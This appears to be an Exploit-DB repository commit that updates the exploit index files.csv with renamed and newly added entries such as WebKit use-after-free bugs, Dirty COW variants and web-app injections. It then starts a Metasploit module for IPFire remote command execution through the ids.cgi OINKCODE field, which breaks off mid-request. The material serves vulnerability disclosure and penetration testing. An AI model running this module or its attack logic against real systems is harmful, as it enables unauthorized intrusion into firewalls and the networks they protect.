DB: 2017-07-25
17 new exploits Linux Kernel 2.6.32-642 /3.16.0-4 - 'inode' Integer Overflow Linux Kernel 2.6.32-642/3.16.0-4 - 'inode' Integer Overflow WebKit - 'WebCore::AccessibilityNodeObject::textUnderElement' Use-After-Free WebKit - 'WebCore::AccessibilityRenderObject::handleAriaExpandedChanged' Use-After-Free WebKit - 'WebCore::Node::nextSibling' Use-After-Free WebKit - 'WebCore::RenderSearchField::addSearchResult' Heap Buffer Overflow WebKit - 'WebCore::InputType::element' Use-After-Free WebKit - 'WebCore::RenderObject' with Accessibility Enabled Use-After-Free WebKit - 'WebCore::Node::getFlag' Use-After-Free WebKit - 'WebCore::getCachedWrapper' Use-After-Free Photodex ProShow Gold/Producer 5.0.3310/6.0.3410 - ScsiAccess Privilege Escalation Photodex ProShow Gold/Producer 5.0.3310/6.0.3410 - 'ScsiAccess.exe' Privilege Escalation Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' /proc/self/mem Race Condition (PoC) (Write Access) Linux Kernel 2.6.22 < 3.9 (x86/x64) - 'Dirty COW' /proc/self/mem Race Condition Privilege Escalation (SUID) Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' /proc/self/mem Race Condition (PoC) (Write Access Method) Linux Kernel 2.6.22 < 3.9 (x86/x64) - 'Dirty COW' '/proc/self/mem' Race Condition Privilege Escalation (SUID Method) Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' PTRACE_POKEDATA Race Condition (PoC) (Write Access) Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition (PoC) (Write Access Method) Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' PTRACE_POKEDATA Race Condition Privilege Escalation (/etc/passwd) Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' /proc/self/mem Race Condition Privilege Escalation (/etc/passwd) Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method) Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' '/proc/self/mem' Race Condition Privilege Escalation (/etc/passwd Method) MAWK 1.3.3-17 - Local Buffer Overflow Razer Synapse 2.20.15.1104 - rzpnk.sys ZwOpenProcess (Metasploit) Microsoft Internet Explorer - 'mshtml.dll' Remote Code Execution (MS17-007) IPFire < 2.19 Update Core 110 - Remote Code Execution (Metasploit) VICIdial 2.9 RC 1 to 2.13 RC1 - user_authorization Unauthenticated Command Execution (Metasploit) ManageEngine Desktop Central 10 Build 100087 - Remote Code Execution (Metasploit) PaulShop - SQL Injection / Cross-Site Scripting REDDOXX Appliance Build 2032 / 2.0.625 - Remote Command Execution REDDOXX Appliance Build 2032 / 2.0.625 - Arbitrary File Disclosure
This commit is contained in:
Offensive Security
parent
10a46aac45
commit
e27b6b8408
19 changed files with 3121 additions and 17 deletions
31
files.csv
31
files.csv
|
|
@ -3329,7 +3329,7 @@ id,file,description,date,author,platform,type,port
|
||||||
25164,platforms/linux/dos/25164.txt,"Gaim 1.1.3 - File Download Denial of Service",2005-02-25,"Randall Perry",linux,dos,0
|
25164,platforms/linux/dos/25164.txt,"Gaim 1.1.3 - File Download Denial of Service",2005-02-25,"Randall Perry",linux,dos,0
|
||||||
25165,platforms/multiple/dos/25165.c,"Stormy Studios KNet 1.x - Remote Buffer Overflow",2005-02-26,Expanders,multiple,dos,0
|
25165,platforms/multiple/dos/25165.c,"Stormy Studios KNet 1.x - Remote Buffer Overflow",2005-02-26,Expanders,multiple,dos,0
|
||||||
25171,platforms/multiple/dos/25171.txt,"MercurySteam Scrapland Game Server 1.0 - Remote Denial of Service",2005-02-28,"Luigi Auriemma",multiple,dos,0
|
25171,platforms/multiple/dos/25171.txt,"MercurySteam Scrapland Game Server 1.0 - Remote Denial of Service",2005-02-28,"Luigi Auriemma",multiple,dos,0
|
||||||
40819,platforms/linux/dos/40819.c,"Linux Kernel 2.6.32-642 /3.16.0-4 - 'inode' Integer Overflow",2016-11-23,"Todor Donev",linux,dos,0
|
40819,platforms/linux/dos/40819.c,"Linux Kernel 2.6.32-642/3.16.0-4 - 'inode' Integer Overflow",2016-11-23,"Todor Donev",linux,dos,0
|
||||||
40820,platforms/windows/dos/40820.txt,"UCanCode - Multiple Vulnerabilities",2016-11-23,shinnai,windows,dos,0
|
40820,platforms/windows/dos/40820.txt,"UCanCode - Multiple Vulnerabilities",2016-11-23,shinnai,windows,dos,0
|
||||||
25218,platforms/windows/dos/25218.pl,"PlatinumFTPServer 1.0.18 - Multiple Malformed User Name Connection Denial of Service",2005-03-05,ports,windows,dos,0
|
25218,platforms/windows/dos/25218.pl,"PlatinumFTPServer 1.0.18 - Multiple Malformed User Name Connection Denial of Service",2005-03-05,ports,windows,dos,0
|
||||||
25219,platforms/windows/dos/25219.txt,"Spinworks Application Server 3.0 - Remote Denial of Service",2005-03-15,dr_insane,windows,dos,0
|
25219,platforms/windows/dos/25219.txt,"Spinworks Application Server 3.0 - Remote Denial of Service",2005-03-15,dr_insane,windows,dos,0
|
||||||
|
|
@ -5612,6 +5612,14 @@ id,file,description,date,author,platform,type,port
|
||||||
42336,platforms/windows/dos/42336.html,"Microsoft Internet Explorer 11.0.9600.18617 - 'CMarkup::DestroySplayTree' Memory Corruption",2017-07-18,"Google Security Research",windows,dos,0
|
42336,platforms/windows/dos/42336.html,"Microsoft Internet Explorer 11.0.9600.18617 - 'CMarkup::DestroySplayTree' Memory Corruption",2017-07-18,"Google Security Research",windows,dos,0
|
||||||
42337,platforms/windows/dos/42337.html,"Microsoft Internet Explorer 11.1066.14393.0 - VBScript Arithmetic Functions Type Confusion",2017-07-18,"Google Security Research",windows,dos,0
|
42337,platforms/windows/dos/42337.html,"Microsoft Internet Explorer 11.1066.14393.0 - VBScript Arithmetic Functions Type Confusion",2017-07-18,"Google Security Research",windows,dos,0
|
||||||
42338,platforms/windows/dos/42338.cpp,"Microsoft Windows Kernel - 'IOCTL 0x120007 (NsiGetParameter)' nsiproxy/netio Pool Memory Disclosure",2017-07-18,"Google Security Research",windows,dos,0
|
42338,platforms/windows/dos/42338.cpp,"Microsoft Windows Kernel - 'IOCTL 0x120007 (NsiGetParameter)' nsiproxy/netio Pool Memory Disclosure",2017-07-18,"Google Security Research",windows,dos,0
|
||||||
|
42360,platforms/multiple/dos/42360.html,"WebKit - 'WebCore::AccessibilityNodeObject::textUnderElement' Use-After-Free",2017-07-24,"Google Security Research",multiple,dos,0
|
||||||
|
42361,platforms/multiple/dos/42361.html,"WebKit - 'WebCore::AccessibilityRenderObject::handleAriaExpandedChanged' Use-After-Free",2017-07-24,"Google Security Research",multiple,dos,0
|
||||||
|
42362,platforms/multiple/dos/42362.html,"WebKit - 'WebCore::Node::nextSibling' Use-After-Free",2017-07-24,"Google Security Research",multiple,dos,0
|
||||||
|
42363,platforms/multiple/dos/42363.html,"WebKit - 'WebCore::RenderSearchField::addSearchResult' Heap Buffer Overflow",2017-07-24,"Google Security Research",multiple,dos,0
|
||||||
|
42364,platforms/multiple/dos/42364.html,"WebKit - 'WebCore::InputType::element' Use-After-Free",2017-07-24,"Google Security Research",multiple,dos,0
|
||||||
|
42365,platforms/multiple/dos/42365.html,"WebKit - 'WebCore::RenderObject' with Accessibility Enabled Use-After-Free",2017-07-24,"Google Security Research",multiple,dos,0
|
||||||
|
42366,platforms/multiple/dos/42366.html,"WebKit - 'WebCore::Node::getFlag' Use-After-Free",2017-07-24,"Google Security Research",multiple,dos,0
|
||||||
|
42367,platforms/multiple/dos/42367.html,"WebKit - 'WebCore::getCachedWrapper' Use-After-Free",2017-07-24,"Google Security Research",multiple,dos,0
|
||||||
3,platforms/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Privilege Escalation",2003-03-30,"Wojciech Purczynski",linux,local,0
|
3,platforms/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Privilege Escalation",2003-03-30,"Wojciech Purczynski",linux,local,0
|
||||||
4,platforms/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Buffer Overflow",2003-04-01,Andi,solaris,local,0
|
4,platforms/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Buffer Overflow",2003-04-01,Andi,solaris,local,0
|
||||||
12,platforms/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,linux,local,0
|
12,platforms/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,linux,local,0
|
||||||
|
|
@ -8179,7 +8187,7 @@ id,file,description,date,author,platform,type,port
|
||||||
24757,platforms/linux/local/24757.java,"opera Web browser 7.54 java implementation - Multiple Vulnerabilities (3)",2004-11-19,"Marc Schoenefeld",linux,local,0
|
24757,platforms/linux/local/24757.java,"opera Web browser 7.54 java implementation - Multiple Vulnerabilities (3)",2004-11-19,"Marc Schoenefeld",linux,local,0
|
||||||
24758,platforms/linux/local/24758.java,"opera Web browser 7.54 java implementation - Multiple Vulnerabilities (4)",2004-11-19,"Marc Schoenefeld",linux,local,0
|
24758,platforms/linux/local/24758.java,"opera Web browser 7.54 java implementation - Multiple Vulnerabilities (4)",2004-11-19,"Marc Schoenefeld",linux,local,0
|
||||||
24863,platforms/windows/local/24863.html,"EastFTP 4.6.02 - ActiveX Control",2013-03-20,Dr_IDE,windows,local,0
|
24863,platforms/windows/local/24863.html,"EastFTP 4.6.02 - ActiveX Control",2013-03-20,Dr_IDE,windows,local,0
|
||||||
24872,platforms/windows/local/24872.txt,"Photodex ProShow Gold/Producer 5.0.3310/6.0.3410 - ScsiAccess Privilege Escalation",2013-03-22,"Julien Ahrens",windows,local,0
|
24872,platforms/windows/local/24872.txt,"Photodex ProShow Gold/Producer 5.0.3310/6.0.3410 - 'ScsiAccess.exe' Privilege Escalation",2013-03-22,"Julien Ahrens",windows,local,0
|
||||||
24884,platforms/windows/local/24884.html,"LiquidXML Studio 2012 - ActiveX Insecure Method Executable File Creation",2013-03-25,Dr_IDE,windows,local,0
|
24884,platforms/windows/local/24884.html,"LiquidXML Studio 2012 - ActiveX Insecure Method Executable File Creation",2013-03-25,Dr_IDE,windows,local,0
|
||||||
24885,platforms/windows/local/24885.html,"LiquidXML Studio 2010 - ActiveX Remote",2013-03-25,Dr_IDE,windows,local,0
|
24885,platforms/windows/local/24885.html,"LiquidXML Studio 2010 - ActiveX Remote",2013-03-25,Dr_IDE,windows,local,0
|
||||||
24899,platforms/hardware/local/24899.txt,"Draytek Vigor 3900 1.06 - Privilege Escalation",2013-03-29,"Mohammad abou hayt",hardware,local,0
|
24899,platforms/hardware/local/24899.txt,"Draytek Vigor 3900 1.06 - Privilege Escalation",2013-03-29,"Mohammad abou hayt",hardware,local,0
|
||||||
|
|
@ -8965,8 +8973,8 @@ id,file,description,date,author,platform,type,port
|
||||||
40606,platforms/windows/local/40606.cpp,"Microsoft Windows Edge/Internet Explorer - Isolated Private Namespace Insecure DACL Privilege Escalation (MS16-118)",2016-10-20,"Google Security Research",windows,local,0
|
40606,platforms/windows/local/40606.cpp,"Microsoft Windows Edge/Internet Explorer - Isolated Private Namespace Insecure DACL Privilege Escalation (MS16-118)",2016-10-20,"Google Security Research",windows,local,0
|
||||||
40607,platforms/windows/local/40607.cpp,"Microsoft Windows Edge/Internet Explorer - Isolated Private Namespace Insecure Boundary Descriptor Privilege Escalation (MS16-118)",2016-10-20,"Google Security Research",windows,local,0
|
40607,platforms/windows/local/40607.cpp,"Microsoft Windows Edge/Internet Explorer - Isolated Private Namespace Insecure Boundary Descriptor Privilege Escalation (MS16-118)",2016-10-20,"Google Security Research",windows,local,0
|
||||||
40608,platforms/windows/local/40608.cs,"Microsoft Windows - NtLoadKeyEx Read Only Hive Arbitrary File Write Privilege Escalation (MS16-124)",2016-10-20,"Google Security Research",windows,local,0
|
40608,platforms/windows/local/40608.cs,"Microsoft Windows - NtLoadKeyEx Read Only Hive Arbitrary File Write Privilege Escalation (MS16-124)",2016-10-20,"Google Security Research",windows,local,0
|
||||||
40611,platforms/linux/local/40611.c,"Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' /proc/self/mem Race Condition (PoC) (Write Access)",2016-10-19,"Phil Oester",linux,local,0
|
40611,platforms/linux/local/40611.c,"Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' /proc/self/mem Race Condition (PoC) (Write Access Method)",2016-10-19,"Phil Oester",linux,local,0
|
||||||
40616,platforms/linux/local/40616.c,"Linux Kernel 2.6.22 < 3.9 (x86/x64) - 'Dirty COW' /proc/self/mem Race Condition Privilege Escalation (SUID)",2016-10-21,"Robin Verton",linux,local,0
|
40616,platforms/linux/local/40616.c,"Linux Kernel 2.6.22 < 3.9 (x86/x64) - 'Dirty COW' '/proc/self/mem' Race Condition Privilege Escalation (SUID Method)",2016-10-21,"Robin Verton",linux,local,0
|
||||||
40627,platforms/win_x86/local/40627.c,"Microsoft Windows (x86) - 'NDISTAPI' Privilege Escalation (MS11-062)",2016-10-24,"Tomislav Paskalev",win_x86,local,0
|
40627,platforms/win_x86/local/40627.c,"Microsoft Windows (x86) - 'NDISTAPI' Privilege Escalation (MS11-062)",2016-10-24,"Tomislav Paskalev",win_x86,local,0
|
||||||
40630,platforms/windows/local/40630.py,"Network Scanner 4.0.0 - Local Buffer Overflow (SEH)",2016-10-25,n30m1nd,windows,local,0
|
40630,platforms/windows/local/40630.py,"Network Scanner 4.0.0 - Local Buffer Overflow (SEH)",2016-10-25,n30m1nd,windows,local,0
|
||||||
40634,platforms/linux/local/40634.py,"GNU GTypist 2.9.5-2 - Local Buffer Overflow",2016-10-27,"Juan Sacco",linux,local,0
|
40634,platforms/linux/local/40634.py,"GNU GTypist 2.9.5-2 - Local Buffer Overflow",2016-10-27,"Juan Sacco",linux,local,0
|
||||||
|
|
@ -8980,7 +8988,7 @@ id,file,description,date,author,platform,type,port
|
||||||
40688,platforms/linux/local/40688.rb,"Linux Kernel (Ubuntu / Fedora / RedHat) - 'Overlayfs' Privilege Escalation (Metasploit)",2016-11-02,Metasploit,linux,local,0
|
40688,platforms/linux/local/40688.rb,"Linux Kernel (Ubuntu / Fedora / RedHat) - 'Overlayfs' Privilege Escalation (Metasploit)",2016-11-02,Metasploit,linux,local,0
|
||||||
40679,platforms/linux/local/40679.sh,"MySQL / MariaDB / PerconaDB 5.5.x/5.6.x/5.7.x - ('root' System User) Privilege Escalation",2016-11-01,"Dawid Golunski",linux,local,0
|
40679,platforms/linux/local/40679.sh,"MySQL / MariaDB / PerconaDB 5.5.x/5.6.x/5.7.x - ('root' System User) Privilege Escalation",2016-11-01,"Dawid Golunski",linux,local,0
|
||||||
40710,platforms/aix/local/40710.sh,"IBM AIX 5.3/6.1/7.1/7.2 - 'lquerylv' Privilege Escalation",2016-11-04,"Hector X. Monsegur",aix,local,0
|
40710,platforms/aix/local/40710.sh,"IBM AIX 5.3/6.1/7.1/7.2 - 'lquerylv' Privilege Escalation",2016-11-04,"Hector X. Monsegur",aix,local,0
|
||||||
40838,platforms/linux/local/40838.c,"Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' PTRACE_POKEDATA Race Condition (PoC) (Write Access)",2016-10-26,"Phil Oester",linux,local,0
|
40838,platforms/linux/local/40838.c,"Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition (PoC) (Write Access Method)",2016-10-26,"Phil Oester",linux,local,0
|
||||||
40759,platforms/linux/local/40759.rb,"Linux Kernel 4.4 (Ubuntu 16.04) - 'BPF' Privilege Escalation (Metasploit)",2016-11-14,Metasploit,linux,local,0
|
40759,platforms/linux/local/40759.rb,"Linux Kernel 4.4 (Ubuntu 16.04) - 'BPF' Privilege Escalation (Metasploit)",2016-11-14,Metasploit,linux,local,0
|
||||||
40741,platforms/windows/local/40741.py,"Avira Antivirus 15.0.21.86 - '.zip' Directory Traversal / Command Execution",2016-11-08,R-73eN,windows,local,0
|
40741,platforms/windows/local/40741.py,"Avira Antivirus 15.0.21.86 - '.zip' Directory Traversal / Command Execution",2016-11-08,R-73eN,windows,local,0
|
||||||
40765,platforms/windows/local/40765.cs,"Microsoft Windows - VHDMP Arbitrary Physical Disk Cloning Privilege Escalation (MS16-138)",2016-11-15,"Google Security Research",windows,local,0
|
40765,platforms/windows/local/40765.cs,"Microsoft Windows - VHDMP Arbitrary Physical Disk Cloning Privilege Escalation (MS16-138)",2016-11-15,"Google Security Research",windows,local,0
|
||||||
|
|
@ -8990,8 +8998,8 @@ id,file,description,date,author,platform,type,port
|
||||||
40810,platforms/linux/local/40810.c,"Linux Kernel 2.6.18 - 'move_pages()' Information Leak",2010-02-08,spender,linux,local,0
|
40810,platforms/linux/local/40810.c,"Linux Kernel 2.6.18 - 'move_pages()' Information Leak",2010-02-08,spender,linux,local,0
|
||||||
40811,platforms/lin_x86-64/local/40811.c,"Linux Kernel 2.6.32-rc1 (x86-64) - Register Leak",2009-10-04,spender,lin_x86-64,local,0
|
40811,platforms/lin_x86-64/local/40811.c,"Linux Kernel 2.6.32-rc1 (x86-64) - Register Leak",2009-10-04,spender,lin_x86-64,local,0
|
||||||
40812,platforms/linux/local/40812.c,"Linux Kernel 2.6.10 < 2.6.31.5 - 'pipe.c' Privilege Escalation",2013-12-16,spender,linux,local,0
|
40812,platforms/linux/local/40812.c,"Linux Kernel 2.6.10 < 2.6.31.5 - 'pipe.c' Privilege Escalation",2013-12-16,spender,linux,local,0
|
||||||
40839,platforms/linux/local/40839.c,"Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' PTRACE_POKEDATA Race Condition Privilege Escalation (/etc/passwd)",2016-11-28,FireFart,linux,local,0
|
40839,platforms/linux/local/40839.c,"Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method)",2016-11-28,FireFart,linux,local,0
|
||||||
40847,platforms/linux/local/40847.cpp,"Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' /proc/self/mem Race Condition Privilege Escalation (/etc/passwd)",2016-11-27,"Gabriele Bonacini",linux,local,0
|
40847,platforms/linux/local/40847.cpp,"Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' '/proc/self/mem' Race Condition Privilege Escalation (/etc/passwd Method)",2016-11-27,"Gabriele Bonacini",linux,local,0
|
||||||
40848,platforms/windows/local/40848.java,"WinPower 4.9.0.4 - Privilege Escalation",2016-11-29,"Kacper Szurek",windows,local,0
|
40848,platforms/windows/local/40848.java,"WinPower 4.9.0.4 - Privilege Escalation",2016-11-29,"Kacper Szurek",windows,local,0
|
||||||
40859,platforms/windows/local/40859.txt,"Microsoft Authorization Manager 6.1.7601 - 'azman' XML External Entity Injection",2016-12-04,hyp3rlinx,windows,local,0
|
40859,platforms/windows/local/40859.txt,"Microsoft Authorization Manager 6.1.7601 - 'azman' XML External Entity Injection",2016-12-04,hyp3rlinx,windows,local,0
|
||||||
40860,platforms/windows/local/40860.txt,"Microsoft Excel Starter 2010 - XML External Entity Injection",2016-12-04,hyp3rlinx,windows,local,0
|
40860,platforms/windows/local/40860.txt,"Microsoft Excel Starter 2010 - XML External Entity Injection",2016-12-04,hyp3rlinx,windows,local,0
|
||||||
|
|
@ -9137,6 +9145,8 @@ id,file,description,date,author,platform,type,port
|
||||||
42310,platforms/windows/local/42310.txt,"Pelco VideoXpert 1.12.105 - Privilege Escalation",2017-07-10,LiquidWorm,windows,local,0
|
42310,platforms/windows/local/42310.txt,"Pelco VideoXpert 1.12.105 - Privilege Escalation",2017-07-10,LiquidWorm,windows,local,0
|
||||||
42325,platforms/windows/local/42325.py,"Counter Strike: Condition Zero - '.BSP' Map File Code Execution",2017-07-07,"Grant Hernandez",windows,local,0
|
42325,platforms/windows/local/42325.py,"Counter Strike: Condition Zero - '.BSP' Map File Code Execution",2017-07-07,"Grant Hernandez",windows,local,0
|
||||||
42334,platforms/macos/local/42334.txt,"Hashicorp vagrant-vmware-fusion < 4.0.20 - Local Root Privilege Escalation",2017-07-18,"Mark Wadham",macos,local,0
|
42334,platforms/macos/local/42334.txt,"Hashicorp vagrant-vmware-fusion < 4.0.20 - Local Root Privilege Escalation",2017-07-18,"Mark Wadham",macos,local,0
|
||||||
|
42357,platforms/linux/local/42357.py,"MAWK 1.3.3-17 - Local Buffer Overflow",2017-07-24,"Juan Sacco",linux,local,0
|
||||||
|
42368,platforms/win_x86-64/local/42368.rb,"Razer Synapse 2.20.15.1104 - rzpnk.sys ZwOpenProcess (Metasploit)",2017-07-24,Metasploit,win_x86-64,local,0
|
||||||
1,platforms/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Exploit",2003-03-23,kralor,windows,remote,80
|
1,platforms/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Exploit",2003-03-23,kralor,windows,remote,80
|
||||||
2,platforms/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote Exploit (PoC)",2003-03-24,RoMaNSoFt,windows,remote,80
|
2,platforms/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote Exploit (PoC)",2003-03-24,RoMaNSoFt,windows,remote,80
|
||||||
5,platforms/windows/remote/5.c,"Microsoft Windows - RPC Locator Service Remote Exploit",2003-04-03,"Marcin Wolak",windows,remote,139
|
5,platforms/windows/remote/5.c,"Microsoft Windows - RPC Locator Service Remote Exploit",2003-04-03,"Marcin Wolak",windows,remote,139
|
||||||
|
|
@ -15684,6 +15694,9 @@ id,file,description,date,author,platform,type,port
|
||||||
42327,platforms/windows/remote/42327.html,"Firefox 50.0.1 - ASM.JS JIT-Spray Remote Code Execution",2017-07-14,Rh0,windows,remote,0
|
42327,platforms/windows/remote/42327.html,"Firefox 50.0.1 - ASM.JS JIT-Spray Remote Code Execution",2017-07-14,Rh0,windows,remote,0
|
||||||
42328,platforms/windows/remote/42328.py,"FTPGetter 5.89.0.85 - Buffer Overflow (SEH)",2017-07-14,"Paul Purcell",windows,remote,0
|
42328,platforms/windows/remote/42328.py,"FTPGetter 5.89.0.85 - Buffer Overflow (SEH)",2017-07-14,"Paul Purcell",windows,remote,0
|
||||||
42331,platforms/hardware/remote/42331.txt,"Belkin NetCam F7D7601 - Multiple Vulnerabilities",2017-07-17,Wadeek,hardware,remote,0
|
42331,platforms/hardware/remote/42331.txt,"Belkin NetCam F7D7601 - Multiple Vulnerabilities",2017-07-17,Wadeek,hardware,remote,0
|
||||||
|
42354,platforms/windows/remote/42354.html,"Microsoft Internet Explorer - 'mshtml.dll' Remote Code Execution (MS17-007)",2017-07-24,"Mohamed Hamdy",windows,remote,0
|
||||||
|
42369,platforms/cgi/remote/42369.rb,"IPFire < 2.19 Update Core 110 - Remote Code Execution (Metasploit)",2017-07-24,Metasploit,cgi,remote,0
|
||||||
|
42370,platforms/unix/remote/42370.rb,"VICIdial 2.9 RC 1 to 2.13 RC1 - user_authorization Unauthenticated Command Execution (Metasploit)",2017-07-24,Metasploit,unix,remote,0
|
||||||
14113,platforms/arm/shellcode/14113.txt,"Linux/ARM - setuid(0) + execve(_/bin/sh___/bin/sh__0) Shellcode (38 bytes)",2010-06-29,"Jonathan Salwan",arm,shellcode,0
|
14113,platforms/arm/shellcode/14113.txt,"Linux/ARM - setuid(0) + execve(_/bin/sh___/bin/sh__0) Shellcode (38 bytes)",2010-06-29,"Jonathan Salwan",arm,shellcode,0
|
||||||
13241,platforms/aix/shellcode/13241.txt,"AIX - execve /bin/sh Shellcode (88 bytes)",2004-09-26,"Georgi Guninski",aix,shellcode,0
|
13241,platforms/aix/shellcode/13241.txt,"AIX - execve /bin/sh Shellcode (88 bytes)",2004-09-26,"Georgi Guninski",aix,shellcode,0
|
||||||
13242,platforms/bsd/shellcode/13242.txt,"BSD - Passive Connection Shellcode (124 bytes)",2000-11-19,Scrippie,bsd,shellcode,0
|
13242,platforms/bsd/shellcode/13242.txt,"BSD - Passive Connection Shellcode (124 bytes)",2000-11-19,Scrippie,bsd,shellcode,0
|
||||||
|
|
@ -38157,3 +38170,7 @@ id,file,description,date,author,platform,type,port
|
||||||
42347,platforms/php/webapps/42347.txt,"Joomla! Component JoomRecipe 1.0.4 - 'search_author' Parameter SQL Injection",2017-07-20,Teng,php,webapps,0
|
42347,platforms/php/webapps/42347.txt,"Joomla! Component JoomRecipe 1.0.4 - 'search_author' Parameter SQL Injection",2017-07-20,Teng,php,webapps,0
|
||||||
42351,platforms/php/webapps/42351.txt,"WordPress Plugin IBPS Online Exam 1.0 - SQL Injection / Cross-Site Scripting",2017-07-20,8bitsec,php,webapps,0
|
42351,platforms/php/webapps/42351.txt,"WordPress Plugin IBPS Online Exam 1.0 - SQL Injection / Cross-Site Scripting",2017-07-20,8bitsec,php,webapps,0
|
||||||
42353,platforms/php/webapps/42353.txt,"NEC UNIVERGE UM4730 < 11.8 - SQL Injection",2017-07-21,b0x41s,php,webapps,0
|
42353,platforms/php/webapps/42353.txt,"NEC UNIVERGE UM4730 < 11.8 - SQL Injection",2017-07-21,b0x41s,php,webapps,0
|
||||||
|
42358,platforms/java/webapps/42358.rb,"ManageEngine Desktop Central 10 Build 100087 - Remote Code Execution (Metasploit)",2017-07-24,"Kacper Szurek",java,webapps,0
|
||||||
|
42359,platforms/php/webapps/42359.txt,"PaulShop - SQL Injection / Cross-Site Scripting",2017-07-24,"BTIS Team",php,webapps,0
|
||||||
|
42371,platforms/json/webapps/42371.txt,"REDDOXX Appliance Build 2032 / 2.0.625 - Remote Command Execution",2017-07-24,"RedTeam Pentesting",json,webapps,0
|
||||||
|
42372,platforms/json/webapps/42372.txt,"REDDOXX Appliance Build 2032 / 2.0.625 - Arbitrary File Disclosure",2017-07-24,"RedTeam Pentesting",json,webapps,0
|
||||||
|
|
|
||||||
|
Can't render this file because it is too large.
|
119
platforms/cgi/remote/42369.rb
Executable file
119
platforms/cgi/remote/42369.rb
Executable file
|
|
@ -0,0 +1,119 @@
|
||||||
|
##
|
||||||
|
## This module requires Metasploit: https://metasploit.com/download
|
||||||
|
## Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
###
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
def initialize(info = {})
|
||||||
|
super(
|
||||||
|
update_info(
|
||||||
|
info,
|
||||||
|
'Name' => 'IPFire proxy.cgi RCE',
|
||||||
|
'Description' => %q(
|
||||||
|
IPFire, a free linux based open source firewall distribution,
|
||||||
|
version < 2.19 Update Core 110 contains a remote command execution
|
||||||
|
vulnerability in the ids.cgi page in the OINKCODE field.
|
||||||
|
),
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'h00die <mike@stcyrsecurity.com>', # module
|
||||||
|
'0x09AL' # discovery
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'EDB', '42149' ]
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Platform' => 'unix',
|
||||||
|
'Privileged' => false,
|
||||||
|
'DefaultOptions' => { 'SSL' => true },
|
||||||
|
'Arch' => [ ARCH_CMD ],
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'Compat' =>
|
||||||
|
{
|
||||||
|
'PayloadType' => 'cmd',
|
||||||
|
'RequiredCmd' => 'perl awk openssl'
|
||||||
|
}
|
||||||
|
},
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'Automatic Target', {}]
|
||||||
|
],
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'DisclosureDate' => 'Jun 09 2017'
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
|
||||||
|
OptString.new('PASSWORD', [ false, 'Password to login with', '']),
|
||||||
|
Opt::RPORT(444)
|
||||||
|
]
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
begin
|
||||||
|
# authorization header required, see https://github.com/rapid7/metasploit-framework/pull/6433#r56764179
|
||||||
|
# after a chat with @bcoles in IRC.
|
||||||
|
res = send_request_cgi(
|
||||||
|
'uri' => '/cgi-bin/pakfire.cgi',
|
||||||
|
'method' => 'GET',
|
||||||
|
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
|
||||||
|
)
|
||||||
|
|
||||||
|
if res && res.code == 200
|
||||||
|
/\<strong\>IPFire (?<version>[\d.]{4}) \([\w]+\) - Core Update (?<update>[\d]+)/ =~ res.body
|
||||||
|
end
|
||||||
|
if version.nil? || update.nil? || !Gem::Version.correct?(version)
|
||||||
|
vprint_error('No Recognizable Version Found')
|
||||||
|
CheckCode::Safe
|
||||||
|
elsif Gem::Version.new(version) <= Gem::Version.new('2.19') && update.to_i <= 110
|
||||||
|
CheckCode::Appears
|
||||||
|
else
|
||||||
|
vprint_error('Version and/or Update Not Supported')
|
||||||
|
CheckCode::Safe
|
||||||
|
end
|
||||||
|
rescue ::Rex::ConnectionError
|
||||||
|
print_error("Connection Failed")
|
||||||
|
CheckCode::Safe
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
begin
|
||||||
|
# authorization header required, see https://github.com/rapid7/metasploit-framework/pull/6433#r56764179
|
||||||
|
# after a chat with @bcoles in IRC.
|
||||||
|
vprint_status('Sending request')
|
||||||
|
res = send_request_cgi(
|
||||||
|
'uri' => '/cgi-bin/ids.cgi',
|
||||||
|
'method' => 'POST',
|
||||||
|
